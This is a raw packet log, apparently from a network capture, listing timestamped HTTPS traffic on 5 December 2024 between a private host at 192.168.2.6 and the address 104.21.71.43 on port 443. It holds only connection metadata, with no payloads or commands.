Dec 5, 2024 15:04:45.205656052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.205702066 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.210949898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.210967064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.211038113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.211044073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.211083889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.216770887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.216785908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.216881037 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.216887951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.216928005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.430366039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.430386066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.430516005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.430526018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.430571079 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.436116934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.436131001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.436225891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.436232090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.436276913 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.441880941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.441895008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.442006111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.442013025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.442075014 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.446980000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.446994066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.447083950 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.447088003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.447130919 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.453083038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.453099012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.453186035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.453191996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.453232050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.457376003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.457413912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.457446098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.457453012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.457473993 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.457495928 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.463089943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.463110924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.463182926 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.463187933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.463227987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.468856096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.468892097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.468975067 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.468980074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.469017029 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.621603012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.621624947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.621726990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.621740103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.621783972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.627340078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.627357006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.627419949 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.627425909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.627460003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.633060932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.633083105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.633162022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.633166075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.633203983 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.638173103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.638194084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.638263941 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.638272047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.638477087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.643866062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.643887997 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.643954039 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.643959045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.644002914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.649344921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.649359941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.649441004 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.649446964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.649487972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.655113935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.655128956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.655189037 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.655194998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.655241013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.660842896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.660856962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.660928011 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.660933971 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.660972118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.828349113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.828368902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.828500986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.828511000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.828552961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.833981991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.833997965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.834069014 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.834075928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.834121943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.839672089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.839688063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.839752913 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.839759111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.839797974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.844799995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.844815016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.844878912 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.844886065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.844927073 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.850524902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.850567102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.850596905 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.850603104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.850620985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.855890989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.855906963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.855958939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.855966091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.855990887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.861042023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.861056089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.861116886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.861124992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.866765976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.866780043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.866853952 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.866861105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.911257982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.078907013 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.078917027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.078958988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.078985929 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.079009056 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.079019070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.079051018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.079075098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.083636999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.083645105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.083669901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.083708048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.083715916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.083743095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.083762884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.089505911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.089521885 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.089607954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.089616060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.089652061 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.095140934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.095155954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.095227003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.095233917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.095269918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.100931883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.100946903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.101033926 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.101037979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.101087093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.106331110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.106350899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.106429100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.106435061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.106482029 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.111448050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.111464977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.111541986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.111547947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.111591101 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.117275953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.117290020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.117369890 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.117374897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.117417097 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.505366087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.505377054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.505439997 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.505553007 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.505578041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.505594969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.505615950 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.505707979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.505724907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.505760908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.505774975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.505781889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.505810022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.506655931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.506709099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.506716967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.506758928 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.507392883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.507414103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.507467031 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.507474899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.507486105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.507514954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.508311033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.508330107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.508388996 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.508398056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.508440018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.509330988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.509347916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.509409904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.509416103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.509479046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.510257959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.510273933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.510329962 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.510334969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.510371923 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.511934042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.511949062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.512017965 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.512023926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.512063980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.512499094 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.512515068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.512573004 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.512582064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.512619019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.514348030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.514365911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.514434099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.514440060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.514477968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.515156031 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.515176058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.515237093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.515244961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.515284061 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.516032934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.516048908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.516110897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.516125917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.516165972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.517241955 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.517258883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.517318964 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.517332077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.517368078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.522774935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.522794962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.522869110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.522882938 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.522927999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.528486967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.528515100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.528593063 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.528605938 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.528642893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.533577919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.533593893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.533669949 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.533684015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.533720970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.704066992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.704092979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.704319954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.704355001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.704396963 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.708863020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.708878994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.708947897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.708961964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.709001064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.714369059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.714389086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.714466095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.714478016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.714515924 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.719468117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.719491959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.719574928 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.719597101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.719647884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.725409985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.725426912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.725481987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.725487947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.725529909 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.730664968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.730690956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.730756998 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.730768919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.730789900 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.730813026 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.736521006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.736534119 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.736624002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.736635923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.736675024 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.742212057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.742225885 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.742291927 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.742304087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.742340088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.910773039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.910801888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.911155939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.911178112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.911325932 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.915041924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.915056944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.915126085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.915136099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.915179968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.920698881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.920715094 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.920773029 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.920778990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.920814991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.926628113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.926642895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.926714897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.926739931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.926785946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.931684017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.931698084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.931775093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.931782007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.931822062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.937822104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.937838078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.937912941 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.937930107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.937969923 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.942920923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.942936897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.943017960 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.943022966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.943068981 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.948554039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.948586941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:46.948628902 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.948646069 CET	443	49906	104.21.71.43	192.168.2.6
